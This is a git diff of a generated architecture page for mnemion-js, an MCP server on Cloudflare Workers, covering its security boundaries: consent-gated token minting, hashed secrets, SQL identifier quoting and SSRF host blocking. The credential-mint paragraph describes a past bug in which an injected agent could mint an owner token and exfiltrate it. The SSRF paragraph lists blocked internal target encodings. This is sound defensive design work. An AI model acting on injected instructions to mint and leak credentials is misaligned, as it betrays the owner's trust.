diff --git a/CLAUDE.md b/CLAUDE.md index 9ef634d..2b8c315 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -161,7 +161,7 @@ _files:_ | served-content inertness | Routing | `inertHeaders` | `served-content inertness totality` | | served-read gating | Routing | `denyUnlessBearerScope` | `served bearer-gating totality` | -Generated at 2026-08-03 15:26Z. +Generated at 2026-08-11 16:20Z. ## Current state diff --git a/mnemion-js/docs/coherence/_graph.html b/mnemion-js/docs/coherence/_graph.html index 222cd34..b203269 100644 --- a/mnemion-js/docs/coherence/_graph.html +++ b/mnemion-js/docs/coherence/_graph.html @@ -39,10 +39,10 @@

mnemion-js

8 components · 68 files · 485 symbols
-
Mnemionentryclaimed
Cloudflare Worker entry: an OAuth-wrapped MCP server whose one declarative route table is the whole HTTP surface.

## zones - owner-trusted: Full kernel access — the ownerDataCtx capability (the only trusted:true reader/writer). - storage: The SQLite / R2 substrate beneath every chart. - served-untrusted: Public reads + ingress/upload writes — the servedDataCtx capability (trusted:false). - public-egress: Served HTTP responses (/o /p /f) and the /ws broadcast — leaves the DO in the clear. - agent-mcp: The MCP tool surface — agent input, consent-gated, never trusted with the kernel. - federated: Cross-hive resolve over the network — a sovereign foreign hive.

why

The worker entry keeps the entire HTTP surface as one scannable declarative route table (method, pattern, auth gate, handler per line) so the system's shape is graspable from the declarations alone, per the "code as schematic" principle. OAuthProvider wraps the worker to own the OAuth 2.1 / DCR / token flow and intercept /mcp, /token, /register before dispatch, so the rest of the code never re-implements auth plumbing.

works when
lives in served-untrusted fast
src/index.ts exists at root fast
wrangler.toml exists at root fast
README.md exists at root fast
src/index.ts imports @cloudflare/workers-oauth-provider fast
vite.fragment.tsvite.fragment.ts
imports vite
vite.preview.tsvite.preview.ts
imports vite
vite.web.tsvite.web.ts
imports vite, @vitejs/plugin-react
index.tssrc/index.ts
imports @cloudflare/workers-oauth-provider, session.ts, hive.ts, constants.ts, router.ts, index.ts, compose.ts, feature.ts, log.ts, auth.ts, io.ts, marketplace.ts, pages.ts, dev.ts
store.tsweb/src/store.ts
imports react
Entrytype
ensure()method
rebuild()method
load()method

Replace a pattern's entries (initial load or coarse refetch).

has()method
patchEntry()method

Optimistically merge a patch into one entry (e.g. a drag changes status). The server's WS echo arrives moments later and overwrites with the truth.

applyDelta()method

Apply a single granular change from the live socket.

storeconst
usePatternEntriesfunction

Ordered entries for a pattern — re-renders only when the set/order changes.

useEntryfunction

A single entry — re-renders only when THAT entry changes.

Hiveclaimed
The single per-user Durable Object that owns all SQLite data and funnels every agent write through one kernel-enforced chokepoint.
why

HiveDO is the single Durable Object that owns the SQLite store; every write funnels through its mutate/batchMutate/processInput/consumeUpload chokepoints so the kernel-write boundary is enforced in one place instead of re-derived per call site. policy.ts is the dependency-free leaf SSOT for "which patterns agents can write, through which path, what gate fires" — unclassified kernel patterns fail CLOSED (System → denied), so a new pattern can never silently become agent-writable, and kernel/prime/ingress gates all derive from it so the boundary can't drift between layers.

(The per-boundary paragraphs below record the non-derivable rationale — the bug or rejected alternative each boundary exists to kill. The mechanism — chokepoint, oracle, "iterates the live domain → fails the build" — is carried by the ## invariants list and the boundary "…" at <chokepoint> via test "<oracle>" claims above, and isn't restated here.)

facet/kernel-column collision. Kernel COLUMNS get the same single-source treatment as kernel patterns: kernel-columns.ts is the SSOT for the seven auto-provided columns, and every named slice (the data engine's create-exclude/facet-skip sets, schema display, history-diff ignore set) is DERIVED from it. A user-proposed facet may not collide with a kernel column, so validateFacets reserves FACET_RESERVED_COLUMNS — the kernel columns MINUS the user-overridable ones. The one overridable column is version (a pattern may declare its own semver semantics; create_pattern's apply skips the kernel default). The historical bug was a hand-narrowed reserved subset that wrongly omitted created_by/updated_by (a same-named facet is a duplicate-column DDL error — they MUST be reserved); over-correcting to reserve version then broke the user-version feature. Splitting "overridable" into its own declaration fixes both directions at once: reserved ∪ overridable = KERNEL_COLUMNS, so neither under- nor over-reserving can recur.

data-is-destiny no-hybrid. Makes the "store truth once, derive its consequences" doctrine emergent from the schema rather than prose an agent can interpret away. The doctrine is semantic in general, but it has a DECIDABLE core: a pattern must not STORE an aggregate of rows it also RETAINS. findStoredDerivedAggregates checks exactly that, firing only when BOTH halves are present (an aggregate-named facet AND a child pattern referencing this one). It stays silent on the legitimate fork a convergence experiment surfaced — a bare counter with no retained instances IS the stored truth, not a denormalization, because there's no retained source to derive from. Boot warns rather than throws: a deliberate materialized aggregate is a valid reviewed override.

credential-mint gating. The consent dual of egress totality. A pattern with a secret column mints a born-hashed BEARER on every create, so that create MUST be consent-gated. patch_only is provably wrong for such a pattern — it declares create benign while create is the dangerous op — and that was a real shipped bug: _access_tokens was patch_only, so an injected agent could mint a broad token (a full owner login credential, redeemable at /auth/verify) in one un-round-tripped mutate and exfiltrate it. Fixed by on_broad_token: minting a broad/portable scope (, or a whole-class read/write key — isBroadTokenScope) round-trips like every other standing grant, while narrow target-bound (upload/document) and inert (register, gated by /invite passkey approval) scopes stay benign so the frequent legit flows aren't taxed. The rule DERIVES from SENSITIVE_COLUMNS × KERNEL_WRITE_POLICY (no new declaration), so re-classifying a credential-minter as patch_only/Open is unexpressible.

born-hashed secrets. The storage dual: credential-mint gating governs WHEN a bearer is minted; this governs HOW it's stored. mintSecrets is generic over SENSITIVE_COLUMNS and runs on every engine write path, so a secret-classed column is born-hashed by construction — the preimage is system-generated, returned ONCE in the create response, and only its SHA-256 digest lands in the column, the audit log, and the /ws delta. A read (owner or otherwise) yields a digest, never a usable bearer. The structural enforcement (generic mintSecrets keyed on the registry) makes this automatic for any declared secret column.

immutable-field enforcement. The registry dual of the create-time hooks: where ON_CREATE decides what a kernel row may be BORN as, IMMUTABLE / IMMUTABLE_AFTER_CREATE decide what it may never BECOME — the defense-in-depth behind the consent model. approved_at/consumed_at are IMMUTABLE so an agent can't self-approve its own invite or replay a single-use token; a token's scope/member/constraints/token and an ingress endpoint's target_pattern are IMMUTABLE_AFTER_CREATE so a row that passed create-time validation can't be silently repointed to a stronger capability; _members.label is frozen-after-create (NOT IMMUTABLE, which would reject it at birth) because it's the stable handle passkeys/tokens/attribution reference. Enforcement has two faces because the patch path edits one facet by name and sidesteps the top-level key scan: applyKernelRules covers create/update/unarchive, immutableFieldError covers patch. (scopeMatches, the :-boundary prefix grammar these freezes protect, is pinned by its own matrix test — a fixed-grammar correctness property, not a live-domain totality, so it's verified but not a boundary.)

instance-identity host. Closes the last unmanaged crossing the trust atlas surfaced (public-egress → owner-trusted): the host every generated capability URL is built from. A configured WORKER_HOST is AUTHORITATIVE and the inbound Host is IGNORED, so an attacker who plants a spoofed Host on an unauthenticated request (e.g. a /ws upgrade) can't poison an upload_url/page_url/og_image handed to the owner. This was enforced by currentHost but proven only by convention (the detector and atlas both flagged it tier-3). The decision is now the pure resolveHost (configured-wins-else-observed-else-localhost, placeholder treated as unconfigured), which currentHost delegates to — so the test IS the boundary. With this the manifold has zero tier-3 security crossings.

sql-identifier quoting. The structural enshrinement of an injection boundary that was a convention. The SQL-identifier crossing (a raw string becoming a table/column token) was guarded by "validate, then interpolate "${x}"" at scattered sites — two SEPARATE steps a new site can forget. quoteIdent fuses them: it validates against IDENTIFIER_RE and returns the double-quoted identifier, throwing on any injection-bearing name — so an identifier that skipped the upstream semantic check still can't carry injection. The query engine (~20 sites in data.ts) routes every identifier through it; the semantic checks (facetMeta/isValidColumn/patternExists) stay as the primary gate with quoteIdent as fail-closed defense beneath. This moved the boundary from tier-3 to tier-1. (DDL interpolation in schema.ts/evolution.ts is the tracked follow-up; the coarse injection-lint ratchet still covers those + the HTML egress sinks until they're enshrined too.)

token-scope-grammar. The classifier dual of credential-mint gating: that boundary decides a credential-minting create must be consent-gated; this decides WHICH scopes are "broad" enough to require the round-trip — so the partition isBroadTokenScope draws over the scope grammar IS the boundary. It drifted: a bare parts.length >= 3 cutoff classified read:entry:<pattern> (3 parts) as narrow, but scopeMatches prefix-grants it every read:entry:<pattern>:<id> — a pattern-WIDE standing read key minted with NO round-trip, an exfil credential. The fix classifies by RESOURCE GRAMMAR, not length: a scope is narrow only when it reaches its kind's LEAF depth (entry at depth 4 — pattern:id; output/publication/document/input at depth 3), so read:entry:<pattern> falls short and is broad. The oracle reconciles the partition against both scopeMatches and the kinds io.ts actually mints, so a new served resource kind can't leave it incomplete.

kernel write boundary — two transports. The kernel write boundary reaches the engine over TWO transports: the interactive MCP mutate tool and the browser-authenticated /api/mutate. The rejected design had gating decisions inlined in the MCP handler; the drift vector was real — an /api+RPC test passing while the MCP Zod/consent layer silently broke, so the boundary's enforcement disagreed across the two paths a write can take. Pure decisions in one tested leaf (shared by both transports) is the fix. (Interactive consent round-trip mechanics stay in the session handler because only MCP can satisfy them; /api is owner-implicit — a logged-in human IS the consent.)

kernel read+write capability. Reads share the SAME boundary on the SAME flag: DataContext.trusted is required and gates kernel access symmetrically — an untrusted context may neither write nor read a kernel pattern. Trust is a CAPABILITY, not a per-call-site convention: HiveDO exposes two named constructors over a trust-agnostic ctxFieldsownerDataCtx (the ONLY trusted: true) and servedDataCtx (trusted: false) — with no trust parameter to dial at a call site, so served reads (public page, OG card, publication, /o/entry) AND untrusted writes (ingress, upload) physically cannot reach kernel data. All served public reads live in one module (served.ts), handed a narrow ServedContext exposing only servedQuery for user-pattern data plus single-answer kernel-CONFIG lookups (a _shared visibility, an endpoint config row, supersession ids, facet metadata) — never db, never a trusted context, no way to construct one. This made the old per-block / per-entry isKernelPattern guards provably redundant (a kernel-named read returns empty through servedQuery, which also binds the id against injection); they were deleted, leaving one chokepoint instead of a guard to forget per sink — replacing a block-list that failed open.

egress-sensitivity totality. The bug it kills was a FALSE oracle. Write policy and sensitive columns were composed from two parallel hand-lists, and the second silently omitted a feature (pages); the egress side had no totality check at all, so a forked feature that declared a redact/secret column but forgot the second barrel line got no seal/audit/export redaction with no boot warning. Two parallel hand-lists was the rejected design. findUnclassifiedSensitiveColumns is honestly demoted to a complementary NAME heuristic — it can't see a sensitive column with an innocuous name, so it isn't full totality.

pattern-effects totality. Post-mutate side effects (re-embed, cache invalidate, broadcast, …) were a hand-coded if-pile in mutate(): a feature adding a pattern that needed an effect had to remember to extend the if-tree, and a forgotten extension silently no-op'd at runtime. "Remember to add another branch" was the rejected design. Composing the effect set CORE + per-feature from the live FEATURES array, with the oracle asserting every effect-bearing pattern is represented, turns a missing entry into a build failure instead of a silent missing side effect — same shape as the write-policy and egress-sensitivity totalities (the three together are the feature-composition trio).

(Federation is not yet a declared invariant on its own — the SSRF block-host coverage above is what's formalized as a boundary; the rest is design rationale living co-located in federation.ts until a totality oracle is written for it. The shape: token-send and allow-list consent share a single function (federatedResolve) so the approved host and the contacted host can never drift apart, re-validated on every redirect hop; splitting gate from fetch across modules or call sites would let a future edit move one without the other. The narrow FederationContext capability the DO hands the module ensures federation can read nothing else. This is the security analysis's "condition #2" — a candidate invariant if a co-location oracle is added.)

SSRF block-host coverage. The totality dual of that SSRF guard. isBlockedFederationHost must refuse every class of non-public target — loopback/private/CGNAT/link-local IPv4 in every inet_aton encoding (dotted-decimal, octal, hex, integer), the IPv6 loopback/ULA/link-local/mapped/NAT64/6to4 forms, and the .localhost/.local/.internal/.lan suffixes — and a dropped category is a silent SSRF reopening (the canonical target is the cloud-metadata IP 169.254.169.254). Its correctness was a convention ("remember every encoding") with no completeness check; the oracle's category→example table makes a new bypass class fail the build by name.

works when
lives in storage fast
hive.ts exists at this node fast
hive.ts imports cloudflare:workers fast
hive.ts imports ./data fast
policy.ts exists at this node fast
kernel-columns.ts exists at this node fast
data.ts imports ./kernel-columns fast
evolution.ts imports ./kernel-columns fast
schema.ts imports ./kernel-columns fast
hive.ts imports ./kernel-columns fast
data.ts exists at this node fast
mutate-gate.ts exists at this node fast
mutate-gate.ts imports ./policy fast
prime.ts imports ./policy fast
boundary "kernel write boundary" at writeClass crossing agent-mcp -> storage via test "write-policy totality" fast
boundary "kernel read+write capability" at query crossing served-untrusted -> storage via guard "context-capability totality" fast
boundary "egress-sensitivity totality" at SENSITIVE_COLUMNS crossing storage -> public-egress via test "egress-sensitivity totality" fast
boundary "pattern-effects totality" at PATTERN_EFFECTS via test "pattern-effects totality" fast
boundary "facet/kernel-column collision" at FACET_RESERVED_COLUMNS via test "facet-kernel-collision totality" fast
boundary "data-is-destiny no-hybrid" at findStoredDerivedAggregates via test "data-is-destiny no-hybrid totality" fast
boundary "credential-mint gating" at findUngatedCredentialMints crossing agent-mcp -> owner-trusted via test "credential-mint gating totality" fast
boundary "born-hashed secrets" at SENSITIVE_COLUMNS crossing storage -> public-egress via test "born-hashed-secret totality" fast
boundary "immutable-field enforcement" at applyKernelRules crossing agent-mcp -> storage via test "IMMUTABLE-registry totality" fast
boundary "token-scope-grammar" at isBroadTokenScope crossing agent-mcp -> owner-trusted via guard "broad-token scope-grammar totality" fast
boundary "SSRF block-host coverage" at isBlockedFederationHost crossing owner-trusted -> federated via guard "SSRF block-host totality" fast
boundary "sql-identifier quoting" at quoteIdent crossing agent-mcp -> storage via guard "quoteIdent — grammar" fast
boundary "instance-identity host" at resolveHost crossing public-egress -> owner-trusted via guard "instance-identity host resolution" fast
effects.ts exists at this node fast
effects.ts imports ../features fast
effects.ts imports ../features/compose fast
documents.ts exists at this node fast
hive.ts imports ./documents fast
served.ts exists at this node fast
hive.ts imports ./served fast
federation.ts exists at this node fast
hive.ts imports ./federation fast
reports.ts exists at this node fast
hive.ts imports ./reports fast
depends on VECTORIZE, AI
completion.tsentities/Hive/completion.ts

completion.ts — the CLIPBOARD COMPLETION engine: derive a job's progress from the submission log at read time.

why

One declarative home for "what numeric success conditions exist." A clipboard's completion contract is a conjunction/disjunction of metric op threshold predicates; COMPLETION_METRICS is the table keyed by metric name, each computing a number from a narrow aggregate over the target pattern's entries. Per data-is-destiny, NOTHING is stored — count, sources_covered, days_since_last … are all SQL-derived every call (mirrors _fragment_access_log COUNT-promotion / _maintenance_passes days-since). The definition hook (clipboards/hooks.ts) DERIVES its "known metric" set and per-metric required/facet params from this registry; the totality oracle asserts the keysets match, so a metric that can be stored but isn't computed (fail-open) fails the suite.

Near-leaf: imports only quoteIdent (the SQL-identifier chokepoint). It takes db as a parameter — no import of data.ts/hive.ts — so there's no cycle. Identifiers (table, source facet) are interpolated via quoteIdent; thresholds/required values are bound.

imports sql.ts, constraints.ts
MetricContextinterface

What a metric needs to read the submission log: the raw db + the target table (= the pattern name; user patterns are CREATE TABLE "<name>").

Conditiontype

A condition is { metric, op, value, ...params }. params (source_facet, required, period_days) ride alongside and are read by the metric's compute fn.

COMPLETION_METRIC_KEYSconst

The canonical metric vocabulary — one home, derived by the definition hook + the totality oracle.

evaluateCompletionfunction

Evaluate a clipboard's completion contract against the live submission log. Pure-derived: every metric is recomputed here, nothing is cached or stored.

constraints.tsentities/Hive/constraints.ts

constraints.ts — the per-field VALUE-VALIDATION engine, as a dependency-free leaf.

why

One declarative home for "how is a single field value checked against a constraint." CONSTRAINT_RULES is the table keyed by constraint name; every gate (the clipboard submission validator at the mutate chokepoint, the clipboard DEFINITION hook that fail-closes on an unknown key) DERIVES from it — neither re-lists the constraint vocabulary. COMPARISON_OPS is the shared op table used by both clipboard cross-field rules and completion conditions (completion.ts). The totality oracle (src/__tests__/clipboards.test.ts) asserts the keys the definition hook ACCEPTS equal the keys these registries ENFORCE — a constraint that can be stored but is silently unenforced (fail-open) fails the suite.

This is a leaf: it imports NOTHING (pure functions over value + spec), so data.ts can import it with no cycle. It knows nothing about clipboards, SQL, or the DO — it's "check a value against a spec," configured by the _clipboards data.

COMPARISON_OP_KEYSconst

The canonical operator vocabulary — one home, derived by the definition hook and the totality oracle.

compareValuesfunction

Apply a comparison op by name. Unknown op → false (fail closed; the definition hook rejects unknown ops up front, so this is the defense-in-depth floor).

PATTERN_MAX_INPUTconst

Max input length the pattern regex will run against. The pattern is agent-authored and runs against fully caller-controlled input on every submission — reachable from the UNAUTHENTICATED public ingress endpoint — so a catastrophic-backtracking pattern is a latent ReDoS on the write hot path. Refusing to match an over-long value caps the worst-case work (the definition hook also bounds the pattern source length).

CONSTRAINT_KEYSconst

The canonical constraint vocabulary — one home. The definition hook derives its "known constraint key" set from this; the totality oracle asserts equality.

FIELD_SPEC_RESERVEDconst

Keys a field spec may carry that are NOT value-constraints (so the definition hook doesn't flag them as unknown). facet names the column; required is a presence rule handled by the submission validator.

validateFieldValuefunction

Run every present value-constraint on one field value; collect ALL messages (never first-fail) so a submission reports every problem at once. A field spec is { facet, required?, pattern?, min?, max?, min_length?, max_length? }.

data.tsentities/Hive/data.ts

Data engine: query, mutate, search

Pure functions that take a DataContext. HiveDO keeps thin RPC wrappers that add broadcast and transaction concerns.

why

The query/mutate/search engine is pure functions over an injected DataContext so the same logic serves the MCP path and the browser /api path without duplication. executeMutate is the one chokepoint every engine write crosses: it strips forged created_by/updated_by, refuses System patterns, refuses any kernel target on an untrusted (ingress) write, and runs the kernel rules — so the boundary holds for callers entering below the MCP consent layer. patch honors field immutability here (not only in the kernel hooks) because applyKernelRules scans top-level keys and a patched facet rides in data.facet.

imports kernel.ts, policy.ts, prime.ts, constants.ts, sql.ts, log.ts, constraints.ts, completion.ts, kernel-columns.ts
ClipboardSpecinterface

A clipboard's validation + completion contract, parsed from a _clipboards row. Bound to a target dataset pattern; fetched at the mutate chokepoint via DataContext.clipboardFor. The clipboards feature owns the _clipboards pattern + its definition hooks; the chokepoint here ENFORCES the contract per submission.

SubmissionViolationinterface

One reported problem with a submission. The submission validator collects ALL of these (never first-fail) so an agent fixes everything in one round-trip.

DataContextinterface
queryfunction
searchfunction
documents.tsentities/Hive/documents.ts

documents.ts — document-store lifecycle (R2-backed blobs), evicted from HiveDO.

Receives a narrow DocumentsContext, never this and never a trusted executeMutate. Its writes are SYSTEM bookkeeping on _documents' IMMUTABLE columns (r2_key / size / content_type / stored_at / extracted_text / extraction_status) — the columns agents cannot set through mutate — so they stay narrow, specific UPDATEs rather than a new general write chokepoint. The DO keeps thin RPC wrappers; this holds the logic.

imports credentials.ts, extract.ts, log.ts
consumeDocumentUploadfunction

Record a completed upload: bind the R2 key + metadata to the document entry and burn the single-use token.

recordExtractionfunction

Record extracted text + status, then re-embed so the text joins prime recall.

extractDocumentfunction

Schedule async PDF text extraction: mark pending, read the blob from R2, extract, record. Returns immediately; the work outlives the RPC via schedule().

resolveDocumentfunction

Resolve a document for serving. Returns found:false until bytes exist.

effects.tsentities/Hive/effects.ts

effects.ts — declarative pattern effects, the SIDE-EFFECTING half of the kernel.

kernel.ts holds the PURE pre-mutation hooks (ON_CREATE/ON_WRITE): they validate and transform DATA before insert, no I/O. This file is their symmetric impure twin: orchestration that runs AROUND a commit — mint a sub-token, schedule an R2 delete, build a capability URL, run a task. Keyed by pattern, scannable as a table, so adding a side-effecting pattern is one entry instead of another if (patternName === …) branch in mutate().

An effect receives an EffectContext — the DO's NARROWED hands — never this, and never a raw trusted executeMutate (that would be a second uncontrolled write chokepoint). The one sanctioned internal write is internalCreate.

Two phases, mirroring the kernel hooks but with a side-effect contract: before — runs PRE-commit; may read; may abort by throwing (reserve for effects that MUST succeed for the write to be valid). after — runs POST-commit; best-effort / annotating. A failed URL or token DEGRADES the result (matches today), it never unwinds the committed row.

imports index.ts, compose.ts
EffectContextinterface
PatternEffectinterface
PATTERN_EFFECTSconst

PATTERN_EFFECTS is no longer a hand-written literal — it is COMPOSED from the per-feature manifests in entities/features/. Each feature declares its post-mutate effects keyed by pattern; composeEffects folds them into this flat map (and throws on a two-feature collision over the same pattern). The bodies for _documents / _pages / _system_tasks now live in their feature manifests.

This is the extensibility seam: adding a side-effecting pattern means writing a feature manifest + one barrel line — not editing this file. The shape contract (EffectContext, PatternEffect above) stays here as the leaf the manifests import.

evolution.tsentities/Hive/evolution.ts

Schema evolution engine

Each change type is one row in CHANGE_TYPES: validate, preview, apply. The full evolution surface is visible by scanning this table. proposeChange and applyChange are generic dispatchers.

why

Schema evolution is a declaration table (CHANGE_TYPES: validate/preview/apply per change type) so the full surface is scannable and adding a change type is one row, not a procedural chain. Changes are proposed then applied in two steps so the agent and the human can preview the index delta before committing; apply fires resource-update notifications. create_pattern reserves the _ namespace here so a user pattern can never collide with the kernel namespace that isKernelPattern keys on.

imports constants.ts, schema.ts, policy.ts, kernel-columns.ts, format-palette.ts, reports.ts
CHANGE_TYPE_NAMESconst

The change types an agent may propose — the single source the MCP tool's change.type enum derives from (session.ts), so a new change type is exposed through MCP automatically and the protocol contract can't drift from the engine's CHANGE_TYPES table.

applyChangefunction
revertChangefunction
federation.tsentities/Hive/federation.ts

federation.ts — cross-hive (foreign-URI) resolution, evicted from HiveDO.

This is the security-critical seam: it is the only place that sends THIS hive's access token (?token= → Authorization: Bearer) to another origin. The entire point of keeping it as one module is CO-LOCATION — the allow-list consent check and the token-bearing fetch live side-by-side in federatedResolve, so "the host the human approved" and "the host we actually contacted" can never drift apart. A token is attached only to a request whose host is BOTH (a) not isBlockedFederationHost(host) (SSRF block) AND (b) ctx.isHostAllowed(host) (consent allow-list) — and that pair is re-checked on the INITIAL request AND on EVERY redirect hop, in lockstep with the fetch loop. Splitting the gate from the fetch would let a future edit move one without the other; here they move as a unit.

FederationContext is deliberately narrow: a bound isHostAllowed(host) (which wraps the _federation_hosts lookup — the module never sees db) plus errorJson. isBlockedFederationHost / normalizeHost are pure and imported directly.

imports kernel.ts, constants.ts
federatedResolvefunction

Resolve a foreign-hive URI (mnemion://other.hive.dev/entry/axioms/7) by fetching https://<host>/o/<path>, optionally carrying ?token= as a Bearer. The allow-list/SSRF gate and the token-bearing fetch are co-located here so an approved host and a contacted host can never diverge.

hive.tsentities/Hive/hive.ts

HiveDO — the single per-user Durable Object that owns all SQLite data.

why

Every agent write funnels through hive's mutate/batchMutate/processInput/consumeUpload methods so the kernel-write boundary is enforced at one chokepoint instead of re-derived per call site. It stays a thin shell over the pure-function domain modules (data, kernel, policy, prime, evolution, schema) with db/context injected — but the per-pattern lifecycle reactions (R2 blob delete on archive, _system_tasks dispatch, _documents upload-token mint) remain hardcoded patternName === "_x" branches here: a consciously-retained imperative seam, since lifting them into the registry was judged a larger refactor with no security payoff and they fail loudly in tests on rename.

imports cloudflare:workers, constants.ts, transform.ts, schema.ts, kernel-columns.ts, kernel.ts, policy.ts, labels.ts, log.ts, host.ts, credentials.ts, evolution.ts, data.ts, effects.ts, prime.ts, web.ts, documents.ts, served.ts, federation.ts, reports.ts
HiveDOclass
db()method
migrateTokenHashes()method

One-time cleanup of secrets that leaked BEFORE born-hashing: hash any legacy plaintext token still in _access_tokens (raw = 32 hex, digest = 64), and scrub any raw token the old post-insert path left in the _mutation_log audit trail. Idempotent; a near-no-op after the first cold start.

mintSecrets()method

Born-hashed secrets: for a CREATE of a pattern with a secret column (SENSITIVE_COLUMNS), generate the preimage in app code and set the column to its DIGEST before the row is inserted — so the audit trigger, the broadcast, and any read only ever see the hash. Returns the raw preimage for the one-time response (the only place it exists). Mutates data in place; returns null for non-secret patterns / non-create ops.

instanceUrl()method

A public URL on this instance — the one place upload_url / page_url / og_image hand-build https://{host}/{path} from the live host.

reportsCtx()method

=== Read-orchestration reports (delegated to reports.ts) ===

Recent activity, the maintenance nag, the stale-review surface, and the system-doc / instance-doc readers live in reports.ts: pure owner-context read+format builders, no writes and no security boundary. The DO injects a narrow ReportsContext (db + bound currentHost/patternClass/errorJson) and keeps thin RPC wrappers with identical signatures.

evoCtx()method
getPendingChange()method

Peek at a pending change's spec without applying it — lets the SessionDO decide whether the change needs a consent round-trip (e.g. set_sharing to a non-private visibility, which publishes an entry over HTTP).

ctxFields()method

Shared DataContext fields, trust-AGNOSTIC. The trust flag is deliberately NOT a parameter here — it is fixed by the named constructor a caller chooses (ownerDataCtx / servedDataCtx), so trust can never be dialed at a call site — there is no trust boolean to misremember.

ownerDataCtx()method

TRUSTED context — full kernel read + write. The owner/agent path (MCP session, browser session, internal writes). The ONLY constructor that sets trusted: true; if you are handed this you can reach kernel data, so it is never given to orchestration that serves untrusted surfaces.

servedDataCtx()method

UNTRUSTED context for SERVED surfaces (public page, /o, /p, OG, federation) AND untrusted WRITES (ingress, upload). trusted: false is the SAME flag the engine uses to refuse any kernel pattern, symmetric across read and write — so a serve/ingress path physically cannot reach _access_tokens/_members/etc. Orchestration handed only this constructor cannot forge a trusted write: the boundary is a capability, not a per-call-site convention.

effectCtx()method

The DO's narrowed hands handed to a pattern effect (effects.ts) — capabilities, never this and never a raw trusted executeMutate. The one sanctioned trusted write is internalCreate.

servedQuery()method

query() for a served/untrusted surface — refuses kernel patterns at the engine. Every public/OG/publication read goes through this, so the kernel read-boundary lives at one chokepoint instead of a check per serve sink.

patternClass()method

A pattern's class: "dataset" (structured records) or "knowledge" (default).

loadClipboard()method

The active clipboard bound to a target pattern (a validated job-dispatch form), parsed from its _clipboards row, or null. Read at the mutate chokepoint via the clipboardFor seam to gate submissions + derive progress. Defensive: a malformed JSON column or a missing table (pre-boot) yields a safe partial/null spec.

query()method
mutate()method
docsCtx()method

Narrow capabilities handed to the documents module (documents.ts) — db + R2 env + broadcast/embed/schedule, never this.

webCtx()method
resolve()method
fedCtx()method

The federation module's narrowed hands: the consent allow-list (bound over the _federation_hosts lookup, never db) + errorJson.

search()method
getEntryHistory()method

Revision history for one entry, oldest→newest: the audit log scoped to (pattern, id), with each UPDATE diffed (changed facet: from → to) and version/timestamp churn filtered out. The create is the first revision.

getEntryLabel()method

The display label for one entry — what a reference to it should show (deriveLabel: title-ish facet, else #id). Used by reference-format chips.

servedCtx()method

The served module's narrowed hands: servedQuery (the untrusted reader that refuses kernel patterns at the engine) + bound kernel-config lookups, each scoped to one answer. Never db, never a trusted ctx.

runTask()method
prime()method
isFederationHostAllowed()method

True if host has been explicitly approved for federation (active _federation_hosts row).

hasKernelVersion()method

True if the table's version column is the kernel auto-increment, not a user field.

checkAndArmConsent()method

Two-phase consent that survives session churn. First call with a key arms it (10-minute TTL) and returns false — the caller should surface the confirmation message. Re-issuing the same key while armed consumes it and returns true — the caller proceeds. Durable in DO storage because sessionless MCP clients land every call on a fresh SessionDO, where an in-memory set can never complete the handshake. The consent signal is the deliberate re-issue of identical arguments; the TTL bounds how long an armed confirmation can wait. Fails closed: storage errors never confirm.

resolveTokenConstraints()method

Validate a token's scope AND return its parsed constraints in one hashed lookup. The token column is a digest at rest, so a raw WHERE token = ? query (as marketplace did) matches nothing — callers needing constraints must go through this.

fetch()method
kernel-columns.tsentities/Hive/kernel-columns.ts

Kernel columns — single canonical home for the auto-provided column set.

Every pattern table carries these columns regardless of its declared facets (CLAUDE.md "Key conventions"). They cannot be defined via propose_change; created_by/updated_by are stamped from the session actor, never caller input.

This is a dependency-free leaf (no imports) so it can be referenced from the schema/DDL layer, the data engine, the evolution engine, and the DO kernel without introducing an import cycle. Every call site that needs "the kernel columns" — or a named slice of them — references this module instead of re-listing the literals. Subsets are DERIVED from the master list (filter), never re-listed, so the slices can't drift from the source of truth.

The ordering is canonical (matches the agent-facing schema display and the integrity check): id, version, then the timestamp + attribution columns.

KERNEL_COLUMNSconst

The full kernel column set, in canonical order. The source of truth.

KERNEL_COLUMN_SETconst

Membership set over the full kernel column list.

USER_OVERRIDABLE_KERNEL_COLUMNSconst

Kernel columns a user MAY redefine as a facet. version alone: create_pattern's apply detects a user version facet and SKIPS the kernel default column, so a pattern can carry user-meaningful version semantics (e.g. semver on packages) instead of the kernel auto-increment. Every OTHER kernel column is added unconditionally — a same-named facet would be a duplicate column (a CREATE/ALTER DDL error), so they MUST be reserved. This set is the SINGLE home for "which kernel columns are overridable"; the facet reservation below derives from it (and create_pattern's skip references it), so the two can't disagree about which column is special.

FACET_RESERVED_COLUMNSconst

Facet-name reservation (evolution.ts validateFacets — the chokepoint for BOTH create_pattern and add_facet): a proposed facet may not be named after a kernel column it would COLLIDE with — i.e. every kernel column EXCEPT the user-overridable ones. DERIVED from the two sets above, never hand-listed, so it can't under-cover. The historical bug was a hand-narrowed subset that omitted created_by/updated_by (which are NOT overridable → must be reserved) AND version (which IS). Splitting "overridable" out as its own declaration fixes both: reserved ∪ overridable = KERNEL_COLUMNS, and adding a kernel column auto-reserves it unless explicitly declared overridable. The facet-kernel-collision totality oracle iterates THIS set (each rejected) and the complement (each overridable allowed) — both halves checked, so the partition can't silently drift.

CALLER_EXCLUDED_ON_CREATEconst

Columns excluded from the caller-supplied field set on CREATE (data.ts): id is autoincrement, the timestamps + attribution are system-managed. version is not in this set because callers never supply it on create either (it's the kernel auto-increment), and excluding it here would be redundant — preserved as master-minus-version.

STRUCTURAL_KERNEL_COLUMNSconst

Columns skipped during facet validation / shown as the kernel column list in the agent-facing schema (data.ts SKIP_KEYS + hive.ts schema display): every auto-provided structural column except the attribution columns, which are not surfaced as schema and were already stripped upstream by executeMutate.

kernel.tsentities/Hive/kernel.ts

Kernel pattern pre-mutation rules

Declarative hooks that validate and transform data before the generic INSERT/UPDATE/ARCHIVE logic in store.ts runs. Each kernel table's special behavior is visible in one place.

why

Declarative pre-mutation hooks so each kernel table's special behavior lives in one visible place. IMMUTABLE / IMMUTABLE_AFTER_CREATE and the register-scope memberActive guard are defense-in-depth against specific attacks: an agent self-approving an invite (approved_at immutable), repointing a token's target after mint, or escalating an invite into owner-takeover. "Which patterns the system writes" and "which are valid ingress/upload targets" are intentionally NOT defined here — they derive from policy.ts so the boundary cannot drift between layers.

